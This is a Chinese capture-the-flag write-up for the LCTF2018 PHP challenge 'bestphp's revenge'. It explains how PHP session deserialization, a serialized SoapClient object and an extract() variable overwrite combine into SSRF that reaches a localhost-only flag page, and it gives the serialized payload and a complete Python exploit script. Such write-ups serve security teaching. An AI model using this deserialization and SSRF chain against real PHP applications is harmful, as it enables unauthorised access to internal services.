出自LCTF2018一道web题:bestphp’s revenge
这道题目还是很有意思的,思路也很清奇。
首先题目给出源码
index.php1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
然后还扫到一个flag.php1
2
3
4
5
6
7session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
可以看到拿到flag的条件是绕过$_SERVER[“REMOTE_ADDR”]===”127.0.0.1”。
这里可以利用ssrf本地去访问flag.php
这里利用的思路1
session反序列化->soap(ssrf+crlf)->call_user_func激活soap类
首先构造出session反序列化的条件:利用call_user_func()调用session_start()设置erialize_handler为php_serialize。
因为题目源码中没有可以利用的构造pop链的类,而刚好SOAP的SoapClient类可以用来创建soap数据报文,与wsdl接口进行交互的,达到ssrf的效果。
那么就可以构造soapClient的反序列化(具体参考https://www.anquanke.com/post/id/153065#h2-5[从几道CTF题看SOAP安全问题][1]、[https://xz.aliyun.com/t/2148][2])1
payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
最后需要再利用第二个call_user_func激活soap类,具体实施是通过变量覆盖利用extract将$b为call_user_func,调用$a中对象,从而触发soap的网络请求。这里数组a中$_SESSION里的数据是soap对象,再经过reset()弹出这个对象成为了$a[0]。1
2$_GET = array('f'=>'extract');
$_POST = array('b'=>'call_user_func');
附一payload1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25import requests
import re
url = "http://172.81.210.82/"
payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
r = requests.session()
data = {'serialize_handler' : 'php_serialize'}
url1 = url+"?f=session_start&name="+payload
html = r.post(url1, data=data).text
data = {'b' : "call_user_func"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text
data = {'b' : "var_dump"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text
rs = re.findall(r'string\(26\) "(.*?)"', html)
url2 = url
cookie = {"Cookie":"PHPSESSID="+rs[0]}
html = r.post(url2,headers = cookie).text
print html